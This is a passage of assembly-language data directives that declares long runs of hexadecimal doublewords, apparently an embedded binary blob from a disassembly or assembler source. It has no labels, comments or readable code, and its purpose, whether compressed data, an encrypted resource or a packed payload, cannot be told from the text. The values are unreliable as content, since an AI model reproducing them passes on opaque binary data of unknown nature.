0CF9763FEh, 9413215Ah, 78401266h, 0D89EF9E8h dd 3C3904B8h, 0B2CAE30Eh, 442CEC18h, 3504C19Eh, 555BE501h dd 16A8A4h, 8D60D1B3h, 4E77C21h, 595BD912h, 42B7B888h dd 98473DD1h, 1508E3C9h, 0D4BEAEh, 871A3F4Dh, 0F1004E26h dd 2D58CA23h, 1FF92561h, 80BD3CF6h, 0ABC22F17h, 96486B26h dd 0D57B073Bh, 5AF12CE9h, 20F0D155h, 0D31905F3h, 0C036D857h dd 0B31C644Fh, 4CAD0200h, 0CB666A5Bh, 0AA4F009Dh, 609781C8h dd 0E3002B45h, 0D1941A37h, 28ECBA35h, 294AE51h, 7A1F3421h dd 78581460h, 0F8D3CE09h, 90506B1Bh, 644DC073h, 7F9D8A7h dd 0EA5FE3CFh, 25147CFFh, 1B3AC088h, 0E224DF04h, 0D20B0073h dd 0AA1041B6h, 3B8A422h, 0CC9DFE07h, 9C30C03Dh, 37AC240h dd 0A8AFD90Fh, 0ECE096C1h, 0DE393E50h, 0E7CBB79h, 2022C8A4h dd 84E97530h, 26BF24A6h, 520E007Eh, 7C5E5FB0h, 0D507F500h dd 698D2AC2h, 3C94BEF3h, 0C4EF338Fh, 97BDBF40h, 0A9018CB8h dd 0EC3A1C85h, 54C8D373h, 5C230377h, 3F8D3134h, 3729FDB8h dd 2A6DC700h, 0BA9117F8h, 769A0055h, 28CC3C59h, 7F0012EEh dd 0ECC6BC70h, 93314CEh, 1621F0A5h, 65FC5C20h, 8198F5A0h dd 92BA3607h, 0A6453491h, 0B2803895h, 79C079A0h, 7ECBA83h dd 604201E8h, 2BA7D068h, 0DF07ACA6h, 3FEAF644h, 41B0B480h dd 5C1002E4h, 0AB1435C0h, 1D5BEC68h, 96696818h, 0E047911h dd 6BFFDA1Bh, 11797A3h, 0D48D082Ah, 11E7D900h, 85565CA1h dd 0A71F3052h, 21BF9799h, 81DD153Dh, 120548BDh, 61C85C31h dd 18251D6Dh, 49B758CCh, 0BB0080B9h, 0E0195C14h, 3A2EFE0Ah dd 4C00A020h, 2B5F383Eh, 0F1013913h, 18FFCEEh, 68DD9880h dd 3870DEh, 0ACA1631Ch, 0A5E3EFC4h, 183E73E6h, 94F6873Eh dd 0B98241BFh, 301E2097h, 0CBE8F3E3h, 7C1CB259h, 92803850h dd 11E60F8Ch, 31A404C8h, 20512294h, 0DA11CEF7h, 25074D7Ch dd 0DEEDE8C2h, 0C3A3673h, 0E0E21799h, 0B900FD61h, 45849D5Fh dd 7C68B712h, 4DAF24BCh, 0BB6A8C94h, 0DD0F9559h, 4B34DF0Ah dd 0E7A6404Ah, 90C9761Bh, 7E152840h, 191E00B4h, 9D2DEEDFh dd 87009948h, 3B57B3CEh, 0F4BD96Bh, 8F151C49h, 0BE380030h dd 0E92908Ch, 0E3FE008Dh, 0FCCE804Ah, 0AD000C86h, 0AEA53298h dd 0A3F8C97h, 65FB78DBh, 421AB1E8h, 14C2320h, 0F58FA093h dd 0A30C3439h, 4A5D88h, 23CAB7A0h, 45FC4205h, 0E19EAE30h dd 5AB1C4h, 0CAB9AC6h, 0E3CEB76Dh, 6C69AD1Dh, 1FC01ED5h dd 8214987Bh, 940181A0h, 0ADE8643Bh, 72A41920h, 809D08FDh dd 3BC7D721h, 24C67E9Eh, 0F91018h, 0AF40B8D4h, 6104565Bh dd 0A5DAD598h, 142F0480h, 0A291C582h, 0F274B192h, 0F4C0F563h dd 0CC24AF60h, 4B448C7Bh, 0E91B7F60h, 6D30410h, 0D6928BC8h dd 0A98F1C00h, 0E0D31693h, 88240951h, 1880E0B6h, 21C78377h dd 0FE82E900h, 4A3FD526h, 0DDEB2E51h, 0E85706FCh, 72038A3h dd 5D3D0127h, 11B71740h, 0ECEDCCB3h, 0B0236D13h, 1DA0C802h dd 1509095h, 4DF121Bh, 0B45C6343h, 0C8DC2100h, 0F7E00511h dd 9FB90075h, 177B7AF8h, 3F1CAB4Eh, 2AC0306Eh, 97D40C73h dd 0D11C008Eh, 0E5F3C73Eh, 0E1569874h, 0D6F502CCh, 31C5CE5Fh dd 90E017A6h, 2C7E053Bh, 5FFE856h, 408ACD98h, 198BE1C4h dd 4948069Ah, 85DA003Ch, 1881ED4Fh, 0F3A42C59h, 144D8024h dd 97D6C554h, 0B4F6D7B8h, 453F8604h, 0D18391B0h, 1D169383h dd 57098B0h, 38A5A931h, 0B5466520h, 9CB920Eh, 8F4D99A0h dd 0AB027F5Eh, 6AE5EF4Bh, 21ECAF81h, 0E40C190h, 2B58D0h dd 341A925Ah, 1CEFE696h, 0D0BB3124h, 0A5D71700h, 0D7A162Fh dd 5CDD14F9h, 8A9DE818h, 6D483492h, 27DA80FCh, 0CDD865h dd 0DC177E77h, 0FF21AF37h, 0E059290Fh, 87DD6966h, 3FF81FD4h dd 98C40324h, 2EE23032h, 52142200h, 843FB254h, 696E608Ah dd 0BF78FD90h, 0FC771907h, 0CDC1E9DBh, 0D8D8C447h, 0FD1E04F4h dd 8EA750E8h, 639DB8h, 0C1AF5D82h, 110909E5h, 1F01875h dd 1FDACA60h, 580F3839h, 0F220E6C3h, 8CD39EAh, 0B040F90Ah dd 0A50B647Bh, 5F7C30E6h, 0B0F311A0h, 80518819h, 35A08111h dd 7402E4F9h, 68C14CBBh, 1CD4C036h, 61BA41D9h, 14F4B988h dd 0C7C4EEB3h, 32F91D5Ah, 0E4FB8F98h, 9898B304h, 0FAC1C08Ch dd 0A85911CFh, 3840955Ah, 64B34F02h, 16740084h, 8F8A6F9Dh dd 6A00EBE7h, 0E20E67D2h, 0CFD095A6h, 56A05831h, 1DDF4D7Fh dd 0D75BC119h, 2180BD08h, 5D59339Bh, 970039A4h, 0FCE585CBh dd 91EB9F48h, 0B1C31800h, 0FF1E6719h, 2F4538CCh, 0A00897A4h dd 0A064C0E7h, 18EFB0EEh, 0E47E898Fh, 0E63F10A0h, 868CD840h dd 413021h, 71EE05E3h, 1AFAD06h, 81EC3900h, 0FC5F4B75h dd 0CAF80136h, 0FF201538h, 0E46268h, 35ED705Dh, 2EEEA4E4h dd 9398C01Ch, 10502F5Ah, 0A8C01D8Bh, 0F626E9C0h, 77F470E1h dd 71671705h, 0B048D556h, 59D9C1ACh, 0DEDF2101h, 10D6B099h dd 0A56E665h, 815AF88Eh, 715D98A8h, 3F264428h, 18024092h dd 0A094C7E2h, 0E656DE2Ch, 228746E3h, 62240D3h, 0ED369B00h dd 0FB4E4CD6h, 0C08217h, 98409427h, 0FEAF09BAh, 7C357440h dd 0C80A691h, 1C07EE6Fh, 0C618670Bh, 0EC9E8C65h, 2CA5153Dh dd 69072824h, 44F591A0h, 20893235h, 1BA068BBh, 0D0335Ch dd 0C1DEFDD6h, 1AE81CFh, 0F9747D88h, 40447EBCh, 0C9F423E4h dd 3F546D07h, 0AE7043B2h, 263D12E3h, 0E89F8Ch, 1F5775D3h dd 28EE6BC5h, 55512F01h, 10F6AABCh, 609D8CE0h, 0CCEF40CFh dd 0D200EED4h, 51D36197h, 3C07BAFh, 92591986h, 0D689FEFCh dd 0C8F44B18h, 9FF5C0A8h, 2B03C7FBh, 0F4A5BCD0h, 0D7501EB8h dd 974AC035h, 5169077Eh, 70E1A70Bh, 40201431h, 0E50BE8D2h dd 80C0AABAh, 755C04E8h, 0C08A6036h, 0D79FB41Ch, 66D59705h dd 648AD993h, 0B9538D20h, 0A0CB8420h, 58F69067h, 0EE58CF1Bh dd 3B7223Ch, 0A9B9053h, 16A87525h, 1011C26h, 0E5929E57h dd 3020C207h, 3492BFh dd 1B9CCAE1h, 79F3CBDEh, 0EEC81107h, 2EF0E846h, 8B69EAh dd 9A5A2557h, 40CD829Dh, 81BEB500h, 411963BBh, 0C5560217h dd 83C94B3Fh, 0AD0DE4C4h, 1EF950E1h, 6308D8h, 9A8515B7h dd 0BC29B0C3h, 823DA709h, 3AF42301h, 0C16CD861h, 0E8500091h dd 0EDBDDFCh, 0A5009CE3h, 2B257645h, 0C07EF86Ah, 0DFECA0E9h dd 43FA370Eh, 0C360AC02h, 58244DB2h, 28991EC4h, 0C53FCA69h dd 0DC1F09E9h, 71AFB440h, 0F943800h, 2281C125h, 0A2FC093Fh dd 0D890BC56h, 160CD373h, 71A7AF14h, 0FB770015h, 0D59D2BBCh dd 5F007D03h, 0D420429Ch, 128325D9h, 90FA182Dh, 0D1F698CCh dd 4C9A7A00h, 0CDD9D032h, 24DC1673h, 23FCB4BBh, 8086713Ah dd 32E3338Bh, 0ADFD41h, 0A7F0556h, 26455DFEh, 0EF821807h dd 0E670C2CFh, 7014F09h, 1CA53B4Eh, 3F20D3B1h, 39F18C90h dd 8666E300h, 528B13CBh, 0D17A0112h, 0ED6D389Ch, 8A41F08Ch dd 7983921Fh, 0BE4B1601h, 0AEF087E7h, 13C907A5h, 40D303F3h dd 624859E6h, 1FDCA700h, 955A211h, 46EC0084h, 8F9765C7h dd 4303516Dh, 264B105Dh, 0E6601832h, 1AA1481Ch, 80C15A77h dd 0E97BFB7Eh, 17BC6881h, 0D3DB35EAh, 56862800h, 900C4CACh dd 6BFC177Ch, 703E1EF8h, 0A7C22B21h, 55659300h, 26495FF5h dd 8FF018FAh, 5EE570EBh, 68164D30h, 32C912D9h, 1CC0E2F4h dd 9B9908C0h, 0EB519601h, 0EA298538h, 0C1FDA1D0h, 9AF92020h dd 6D07C059h, 6D2648h, 0B2580DBBh, 46E19E6h, 503328Fh dd 0E795C092h, 8C00F459h, 9E3F0702h, 356691h, 0C6A245BFh dd 2D03B213h, 759D9207h, 39B032DDh, 0BDA9FB0h, 152F72F0h dd 49B71D02h, 0B14B79E0h, 0EF5BF200h, 464ED4A3h, 52500E17h dd 67404482h, 0B25955DDh, 0E7E60C00h, 0DBC83EEEh, 286A07EDh dd 607AAA45h, 0BF77728Dh, 29A59600h, 0C5F76985h, 60CE000Bh dd 506E84DFh, 1603CA9Ah, 7B211E43h, 6D1AA874h, 0B7BC0060h dd 0F73C01C0h, 18C07FEFh, 0C7DBF8CDh, 0E57C5Eh, 5705D13Eh dd 0DA6F0BC2h, 0FA78F3F8h, 1D36331Eh, 0FCDC3Bh, 767BF775h dd 3429043h, 35C448CFh, 503EBBB2h, 7EC70441h, 99060C6Eh dd 520018D0h, 2FB8731Dh, 6090EFh, 8C6B65CFh, 998D4458h dd 4CF4EA3Eh, 124507F4h, 4AC34336h, 0D94EC3F8h, 73D042FEh dd 408C6058h, 0C408CC72h, 44AC6E03h, 0C29242Dh, 20376D18h dd 4A64371h, 0BEE8B100h, 0DA76B973h, 86571FF9h, 74D8B288h dd 87F39F43h, 279023E0h, 81D3B61Dh, 0F7555AC5h, 2C8C8C1Fh dd 0F9A530B3h, 6219E0D7h, 3E6B074Bh, 0E0F4355Dh, 724EFFE2h dd 0B8420815h, 56AF0628h, 50187DB5h, 8875C043h, 2158DAF9h dd 25106085h, 0A6181442h, 4CEC0060h, 74E8FBDCh, 7318B62Fh dd 5158F85Fh, 770320FFh, 0F9409080h, 6E1FC91Eh, 2709C101h dd 918651AFh, 8A63CF61h, 58627C89h, 83F1B784h, 87696D79h dd 841940FDh, 57584431h, 8308E348h, 915373A2h, 4841F4E5h dd 3B0F7CC2h, 544D98E8h, 18B93748h, 38FB620Bh, 0E100D233h dd 0B7D96A6Bh, 18430A19h, 0A97E699Eh, 20188C1Fh, 6031A78Dh dd 84A80058h, 0B0CC927h, 0A1C52F94h, 1C008677h, 44AAB4C6h dd 54277E59h, 0CB894D5h, 3C9C34C5h, 9500A011h, 4E21586Eh dd 289F7A8Dh, 718463FDh, 0E56F034h, 444B6E60h, 3B8A0C40h dd 0E9F078C7h, 0AFFE0B06h, 10CD0Eh, 7A804EE4h, 0A908C88Ch dd 6A101F06h, 0A06938ACh, 88F5FE30h, 0B274B850h, 0EB5B130Ah dd 0C0A0A01Ah, 8DB3304h, 97CEAFh, 8F0920E1h, 7298C4B1h dd 0D90C2403h, 3A29FB03h, 0C077A392h, 926E81F3h, 743CE458h dd 25AF58CFh, 1C364C00h, 0B9D2169Fh, 0AC08DF06h, 57481FECh dd 0A7C0405Ah, 0B8C7278Dh, 7A007747h, 0CB639236h, 20928548h dd 2FAF5A07h, 0D2C7DFDDh, 327B48CCh, 9921A29Fh, 6A1054ACh dd 11F2BCA9h, 40C68BDDh, 0C0C0E244h, 0A1366D40h, 3B09DB0Ch dd 204B734Fh, 0DEAF2580h, 1109446Fh, 0E60CF450h, 21FEA122h dd 8A0CFA3Ah, 209B311Eh, 3F1802B5h, 0E2F1F089h, 656900BCh dd 0ABD23A40h, 43005DF5h, 30EABEA4h, 6CEAAh, 0A74F6983h dd 9ADA1C07h, 7070F426h, 0C275C08h, 47B8CF1Ah, 24E6763Dh dd 2D80F06Ah, 5ACA60B4h, 0CEFF0724h, 46046CE2h, 0C03211Dh dd 57E6605Eh, 11A8F852h, 80690089h, 8FEE8C3Ah, 0DB4CD7F9h dd 435210ACh, 0FB48F803h, 110340FAh, 5CE0CC32h, 6F33A06Ah dd 8E465C1h, 0B7C44008h, 21A3E0B0h, 2BE24400h, 5ECCFBDDh dd 58D56145h, 528F527Bh, 348021D4h, 0C56D7731h, 485C8800h dd 0D6C3DDA4h, 9D600A51h, 1A86846h, 4F761AD9h, 23A4501Fh dd 6401F4E7h, 2D4E4053h, 898089Eh, 49C212Bh, 2C1E2A00h dd 0B85410A2h, 8D6C2823h, 0F5A70AA0h, 3A2C6E9Bh, 668E9D8Ch dd 0E400B810h, 148C3FECh, 86BEF7h, 3CDE34A1h, 0C1F8CBEAh dd 42090E75h, 0FEE83302h, 9DFE00EAh, 9FBF5B5Dh, 34AF3900h dd 33DF789h, 0FD04A59Ah, 4FA26C40h, 9B9F0E19h, 0B6C65E8Eh dd 533020EAh, 1D4C29AFh, 0F3DF005Bh, 0CBACE434h, 41C0C4B4h dd 0F2A9BAAFh, 0D1221655h, 48300013h, 6F2BAC59h, 9B06A5F2h dd 99BDB554h, 67C0030h, 0B3E77F68h, 221E3883h, 5A33AAADh dd 9C30BFDDh, 69B35B5h, 9A8167D1h, 7900B152h, 7D88B75Fh dd 98ACC040h, 3990CEh, 6A747780h, 4439213Ch, 8AF9F706h dd 3B394F9Bh, 0FC80BA3Ah, 0D43EBD17h, 8D2550Ah, 1120DD18h dd 0B0FCC0A2h, 4E835E31h, 560039D6h, 0CD0B7EE9h, 0FA190109h dd 5C849E7Ch, 7545CCDDh, 505E970Ch, 149549A2h, 8C18E413h dd 90C7B415h, 77EE3F00h, 0B944285Ah, 0F583E200h, 0D3A0E7E1h dd 0ABE80718h, 6181EA49h, 57B3CF8Ah, 0E65F90CCh, 7B0034B0h dd 0A4C81B2Ah, 11328D9Bh, 1D957712h, 68F3FD7h, 0A46A0134h dd 8BE252Fh, 4E201830h, 2A0094ADh, 0C130E95Eh, 0F39B3E13h dd 5939E181h, 0F4D70268h, 0B3FE4195h, 0CFAE7C07h, 9030BC0Ch dd 0DEFAAA67h, 0DDE1C0C9h, 746D321Eh, 39C3AC0Fh, 0D4A320BAh dd 0F0D513h, 0E5ADB196h, 0EDAA9E8Ah, 626339C0h, 67B3FD2h dd 8264F50Dh, 0D4490865h, 0F9420708h, 0B750FFD2h, 0E8D523h dd 0A3A51283h, 84EDD3F4h, 0D709BB05h, 0B440A490h, 26411004h dd 0E96D68E1h, 51D018B8h, 39008D31h, 27AC79C9h, 0FD2BADh dd 661C21D5h, 0FF13FEB9h, 9BD29F04h, 0C100F939h, 6D8CCFDEh dd 32A42400h, 66ECFB69h, 174000F5h, 0DD81FF8Dh, 0CC18DAA9h dd 9A699EC6h, 7741C03Eh, 0C196AB54h, 5300937Ch, 0DB27E155h dd 6826020h, 3ABD9E79h, 1300F96Dh, 0A3A789FDh, 2A4CC9AFh dd 0C84D9Ah, 6F9E8F0Dh, 0CE7CED3Fh, 39FD6900h, 5F810104h dd 6AF81832h, 4CC6409Bh, 9C62150Eh, 0F9521DC3h, 0F8A2DC04h dd 358FE548h, 0F420E0E4h, 0F0167358h, 0C1890018h, 7A2AA226h dd 9024A14Dh, 0F9858871h, 0A84041D1h, 0DADC5350h, 0E7D3AE8h dd 0CE954F07h, 32EA108Fh, 3303BED1h, 18288169h, 65C30Ah dd 8D161D39h, 450F9580h, 9BC9433h, 0FD210290h, 17088EE8h dd 0C358C040h, 0A441B617h, 0B3B7E502h, 0C87440D1h, 20F14994h dd 90965473h, 5168009Dh, 0F902DF9Eh, 300370CCh, 0BEF2F628h dd 9659047h, 0FB18292Eh, 8D150048h, 4707957Fh, 0FC184486h dd 0C98E130Ah, 6961E88Ah, 98C04ED3h, 0A5640009h, 96DFD1E3h dd 6EB80134h, 0D0ECEE0Ch, 394019h, 0BC4232D7h, 94C949C6h dd 0F5228E00h, 0F9C01914h dd 44904CD8h, 169AB8C2h, 44472A42h, 87A86709h, 5912EC77h dd 0FA7C8098h, 0E838B38Bh, 6FA406DAh, 0C10ECFAFh, 0C8E6371Fh dd 5D23E400h, 244A2E6Eh, 80009451h, 1A28EAA8h, 31C05AD4h dd 44A92C5Bh, 0ABE00E8h, 0D2ADFA63h, 0E9B85F3Dh, 8BD9C612h dd 957023h, 85F29481h, 0E7B528FCh, 6788A300h, 0C6D6FAADh dd 7DFDE44Dh, 15173252h, 0B04009D1h, 6A0107E5h, 0BFE10D73h dd 0E850C5B4h, 74C2418h, 0EA53141Ch, 0CF47E11Eh, 0DD64243Eh dd 0F8979029h, 0A6DF873Dh, 2681D3D4h, 0A03A2AFCh, 6C027FF1h dd 0D74493B6h, 20AC4D7Bh, 0B71A0060h, 0E909C1DFh, 0EF00D067h dd 7EF5EBF6h, 4D654E5h, 2A36DC0Dh, 89B48910h, 2DAA848h dd 48CDA9DCh, 90AE9A0Ch, 996201B8h, 0C61D885Eh, 6432E0h dd 2C90ACB9h, 148710Dh, 0B1956253h, 0E0C983DDh, 5B7586CEh dd 988CB24Ch, 60B497A8h, 6D7D41D2h, 0F8005193h, 1D80BED4h dd 1E5D1566h, 493618B7h, 7830E6DFh, 0E46077A3h, 8B151B99h dd 0F34B00F5h, 33FF0A10h, 8A008209h, 0AEEEE8F2h, 1E51CA80h dd 0C619DCE0h, 79C1F1C9h, 0CCCFD018h, 927C0649h, 84A50014h dd 3F0F1299h, 9075478h, 0DDE3DFD4h, 0C49D60A0h, 0C86179A9h dd 6347CF39h, 0B8807B70h, 0B5EB040Ch, 0C0A5D7B6h, 1817A21Ch dd 94339514h, 67AE008Ch, 63E8C6ABh, 0CEDC2E96h, 39876018h dd 926072A9h, 802EC861h, 78EA5051h, 0FA7D003Bh, 0C2B9BCE1h dd 14076956h, 9C3050AFh, 0E8DDCBA0h, 0E0D305FDh, 586D17h dd 846EB0ECh, 0DB83948Fh, 0CF2C01E1h, 6474A445h, 7EEEE4D1h dd 0F8EDF32Ch, 65BD8B80h, 0B9B42F15h, 0CEA21E60h, 6680DA67h dd 3A4060DBh, 0D50073FEh, 839BD826h, 0BDC9391h, 42862A47h dd 8806AC84h, 0F20305C0h, 0A636843Fh, 2750A74Ch, 0ED3D1A9h dd 380971AEh, 381214E9h, 98C0Bh, 0C848FB0Ch, 9318B248h dd 26C91C31h, 0B077DCC4h, 558300FEh, 528AFA56h, 0A0A93709h dd 77C02295h, 0F38AA4Dh, 0DD7FF9BCh, 0FD884042h, 0A3DC41FAh dd 0F1ADD820h, 0A67808A8h, 2A6A4C8Ch, 0E4880A24h, 8C9884FAh dd 67F20CA0h, 8E422A3Dh, 0A079E651h, 241A0D4h, 0F1C12C9Dh dd 0CDD00560h, 0C6F024EBh, 6C98A124h, 262F683Ch, 14C0E404h dd 5894B28Dh, 7E02C3Fh, 0DE078DFCh, 38D3F123h, 0E20B5DD0h dd 794A69Dh, 850F089Fh, 0D42AD1BDh, 0C13FE840h, 650D603Fh dd 98406DF8h, 15BACCF7h, 55DC02DEh, 6C5E9DE6h, 99170C51h dd 0C4CE0806h, 140630C1h, 2EA5FD39h, 8A79B607h, 0C760AD51h dd 394C7Eh, 0F2C48DDFh, 6CA986DCh, 9B16C31Dh, 36F4B8C0h dd 0B152CF42h, 0F1EC00DCh, 9D074AE7h, 6F045C17h, 0C4CCED03h dd 0F9BAB9A7h, 0D08461EEh, 0C3006462h, 86197783h, 0F0129B8Ah dd 0F490F273h, 4C2FD7D1h, 3C06489Fh, 394425D0h, 0C0BCA550h dd 3DEEC605h, 5C80D6E3h, 26B73410h, 3CEBFC3h, 67D5C746h dd 87A59B90h, 0B401D417h, 38899C4Ch, 9FF54423h, 0AE139h dd 0C1EC044Ch, 0C2D82BF6h, 0DBBE8049h, 33BD6448h, 892AC37Fh dd 0CF0118E0h, 30053A1Ah, 8ADD9F77h, 0D53FC080h, 4137BDBCh dd 1669A900h, 8204886Bh, 13F835h, 0DF624D49h, 47E8C8EFh dd 0ED124407h, 3C80AFEAh, 371FDEEh, 0CF460A88h, 80304C78h dd 0A917B887h, 7DEA800Eh, 0F1294914h, 48B229Ch, 4E86B179h dd 0B2788C1Ch, 76F410C2h, 33D041C6h, 4F15422h, 310C0Eh dd 0E7462F78h, 1F192BC2h, 4FD8AF10h, 0BC717B05h, 4A046E32h dd 6231FC2Ah, 30BE8FD0h, 3A0CD204h, 9D3ECC4h, 31C71BBBh dd 8455051h, 181C281Ch, 4240650Fh, 140CF998h, 1E7255F8h dd 0CF54DCC1h, 0D19DC74Fh, 8A2828CCh, 0CA7CC418h, 34049560h dd 77B82128h, 0FB1C4318h, 0B1108962h, 2850BA15h, 83456010h dd 0C1040811h, 0C60A95F9h, 0CC19D1F0h, 0CAC90F81h, 1C4609CAh dd 0A0280A6Bh, 0A55008B2h, 141F730Ch, 64488F14h, 8A779981h dd 6FD15850h, 0B45B031Dh, 35010B16h, 180208BEh, 73802840h dd 39EE01F6h, 0F532B84Ah, 1D08A744h, 0FCFEDE90h, 574C44BAh dd 8250C0B8h, 986D4132h, 8697018Ch, 7F76858Eh, 0F42040ECh dd 0B905AB7Ch, 0A928C66Fh, 2BD8DC90h, 0D4FE4CD4h, 669B131h dd 0E08064C4h, 7A2D8F19h, 0F8700A48h, 1C77F1Ch, 87091347h dd 243D9B32h, 0D50CD190h, 116C6FC8h, 76182673h, 0DCEA0F75h dd 69D0B6C6h, 0F4286C1Dh, 8D1648F0h, 67B200A3h, 0AE998CF9h dd 0BD74FC25h, 0AB013074h, 0EF7BA97Dh, 0F431E354h, 0D2C71830h dd 78904CA9h, 6C3CE108h, 8BF4122Bh, 488D1C89h, 9308F963h dd 98008798h, 9E98A95h, 230006Ah, 0A9E28819h, 0EA01276Bh dd 5E9560ADh, 0ABECA57Bh, 1EE104BAh, 0C852E9BFh, 0BC0AB210h dd 8C7CA266h, 4010CF0Fh, 5AEA4755h, 6E300164h, 18E11619h dd 0EF898033h, 32E40AC2h, 22CF1FD0h, 796580E9h, 1395ECA4h dd 41B8CA54h, 6BE1B90Ch, 50BD11C0h, 245E8876h, 3EB4CA8Eh dd 0B0601A00h, 8353D403h, 6A95021Eh, 8FE1CC62h, 930C1D08h dd 38707AB4h, 0E00A0083h, 9D6BD93Dh, 0FB483759h, 71AA1804h dd 0A09AE221h, 676C26B0h, 0E538A1EFh, 0C8B00A8Bh, 18851BACh dd 9616B2D0h, 0F44F6D00h, 7B5FA033h, 0BA9CB894h, 0A8D0574Ch dd 2CE11060h, 5FF062F3h, 7CD88209h, 0E8382919h, 0FA895E34h dd 1A792907h, 72844EB8h, 2C402504h, 8060F05Ah, 167432h dd 892298F1h, 0DAF5202Fh, 7D341707h, 0FB109A74h, 0C988062h dd 3C8C25A8h, 50286C58h, 3340A4C7h, 0F44E0721h, 10ED66B8h dd 4536A862h, 16307C3Ch, 92181AC6h, 982AC8h, 89C9A6F5h dd 0AF37274Eh, 0D4D10E09h, 0B8500418h, 4F5EA641h, 0B3C9824Ah dd 0CA5B28C9h, 0F6B804E8h, 0E4237D49h, 42F71B77h, 0E45AD9C8h dd 0F0EAD881h, 59E86A83h, 848CDE52h, 44803BBEh, 8B7A132Dh dd 730CE148h, 100749D3h, 4C9EB60h, 308AD918h, 34E44F1Dh dd 0ED884E28h, 4C14CB6Fh, 90F420h, 9D609850h, 88D72580h dd 60097C8h, 0ECD86D4Ah, 213ED60h, 0BDB12E83h, 8086A72Ah dd 7B0691D5h, 4EEFEA12h, 48CA5034h, 9F29C8F5h, 0D9ED5A42h dd 27830460h, 0A58881AEh, 0EC5850F8h, 3264706Ch, 9660F390h dd 0C6502066h, 0C101C3F0h, 447D7060h, 808DC85Ah, 8320F94Bh dd 4D7B4CB0h, 85603EC5h, 1903B848h, 0DEF6C4FFh, 344C188Eh dd 6E839E78h, 39EF14D3h, 6B1CE171h, 48B0AEE3h, 4E2711B0h dd 4188245Ah, 9C6D535Ch, 0CB008D3Eh, 45EF5872h, 930FC15Ah dd 0C06A3016h, 0DAAEEA54h, 0C9A40A90h, 8D8CD7D9h, 2D10A03Bh dd 2C8313E0h, 7116E001h, 9312E6D4h, 47950460h, 6040B496h dd 0A1CFB158h, 118068A0h, 0F60FE1EFh, 5C98D8D9h, 0C8C17C6Ah dd 0FC03131Fh, 0B0E26Dh, 5B92B810h, 46FD1105h, 0EB3D7B14h dd 98742A8Ch, 93B3C500h, 0A5F405ADh, 472A1646h, 664C0062h dd 0E449EF28h, 0FCF1DCF3h, 0EC194D80h, 0BD7D00D8h, 7893DFD0h dd 6FED9A7Bh, 525F1B0h, 71B0B706h, 832CC050h, 0BC50ADD2h dd 45505E84h, 0FF00B26Ch, 6AFA1766h, 5426A9CEh, 1581B0B4h dd 0C08A505Fh, 0EA7C6300h, 0D2BD3AA7h, 77D87A00h, 16DE02A5h dd 0D447001Ah, 5FD19A7Ch, 0D8983CF9h, 0D6499860h, 0B411999h dd 1CA88B1Dh, 0DAC89810h, 12E00241h, 0F6467105h, 2A71C39Bh dd 15D81964h, 0C801BC79h, 0D37AD130h, 0F02D6A9Ch, 0CE64B200h dd 423952EEh, 4767C805h, 0AC04A3D7h, 1DF61Ah, 9C1EA0F0h dd 0E11C4476h, 0FA7B67h dd 11647329h, 32AD67Ch, 0B13248D3h, 2909F075h, 458679h dd 67092E4Eh, 0B091384Fh, 65554C00h, 7E7AB358h, 0C8D0B524h dd 8B8E5D00h, 0E9A193Bh, 0AFC14479h, 0D3C6D7C0h, 4C00B82Eh dd 35CEF66Bh, 4513FBh, 0A9E643F8h, 97DAD1C5h, 18000E4Eh dd 0A5A3CFBDh, 0F6E300CAh, 71D14C54h, 0F9071FDDh, 148FC513h dd 76D0E2C2h, 19C2067Ah, 8030A951h, 17790827h, 3B7B2682h dd 0B4803920h, 0F24BC3A3h, 9B007454h, 0E267DF4Dh, 0C8F40E1h dd 0F6EA8144h, 6C00BB38h, 321D386Fh, 0C89820h, 0B24A8BBCh dd 0E9DEAEFh, 61B161C3h, 0E8784Dh, 8499F6F2h, 7462336Fh dd 1129E600h, 0A2AB66C1h, 2F670C23h, 3A40F241h, 0BBC8DC41h dd 63DB838Ah, 0A14684D0h, 0B63C3400h, 0D10AB8A9h, 434A00EDh dd 0CBE0333Eh, 9439D62Fh, 6689800Fh, 6A38EA53h, 0FBBD00B2h dd 1AD0354Fh, 0D40E02BBh, 86698632h, 206DBEh, 6AF16472h dd 22F4740Eh, 0EF5D4E00h, 0EBF267FAh, 6B2E4ACh, 45882E5Fh dd 0ED466109h, 0BE35B900h, 0C1FF8BDCh, 1C934484h, 1DF1763Ch dd 2F800229h, 0F8C1F2C4h, 3E20F95h, 0E4028A0h, 406DADC9h dd 0FF0FD07Bh, 5BBDB0h, 4E78DBD2h, 0AF79035Fh, 0AC81A349h dd 9FD0BAA1h, 87F8E320h, 4CFA6B56h, 2A9D3260h, 9E0E0609h dd 498F39B2h, 1D55E2A0h, 11BCAB30h, 32D4C5Dh, 262B5605h dd 91853D9h, 7D205410h, 412D0188h, 0CBECF803h, 693883D2h dd 0D8BC1F45h, 0E9827Ch, 3839FCDDh, 2FB9FE93h, 0D04CC0CEh dd 700508D4h, 48AC695Eh, 0BD800B60h, 9DA64E08h, 0B3F0006Ah dd 40310A99h, 6606E6E0h, 595B3C19h, 84C0C8C8h, 0B82D85C0h dd 8642710Bh, 755FE20h, 0F12D7964h, 0FF73C01Eh, 340083F9h dd 3829CDB8h, 585A1C5Ch, 0BB37E818h, 4975060h, 7B006369h dd 0B02417C0h, 49DEADh, 508E0DBDh, 0FA9DD3B9h, 2C791100h dd 0B48D933Dh, 7A0E7E85h, 1C250054h, 52BDAEA5h, 117EDCBCh dd 5C8BE20Fh, 0E38DE002h, 0A8EEC5h, 3AD58E15h, 210EC28Ch dd 30009B7Eh, 0BCD255E2h, 7CC7023Fh, 764805F6h, 2ACF56Fh dd 0AEC413B9h, 0D2F497C0h, 0FA9A3300h, 6D9220E2h, 0FE1C01A2h dd 48AD9E26h, 0C3088C24h, 0B22006h, 1436A584h, 0BC854BB9h dd 800FAE3Bh, 20DE5F69h, 7441B5F2h, 3D07F6E8h, 4F02B362h dd 0DF6E73F3h, 89694D00h, 5A6F030Bh, 0E5B25E1Ch, 86D7180Bh dd 3CEB8080h, 3BF96DAh, 518AD848h, 0EEB844DCh, 0BA63597Eh dd 1454B9h, 1C319850h, 23ABDC22h, 0AC2B8818h, 60F7F489h dd 92E20848h, 4E001068h, 1312D962h, 1F664DCh, 0D49ADDA4h dd 0E75EA6DFh, 0CF54A101h, 0D13155DAh, 6678C860h, 0A9B9083Ah dd 0DA387A0Ah, 0D300D788h, 79C89B6Fh, 6B484C03h, 6CD5A107h dd 64AC5036h, 77189120h, 0DD989617h, 0E05200CBh, 93319CEFh dd 0B01E3B6h, 9FF7816h, 0DBCC06BAh, 0C6B00CBh, 0B0A6277Fh dd 64008F6Ah, 8D754BF8h, 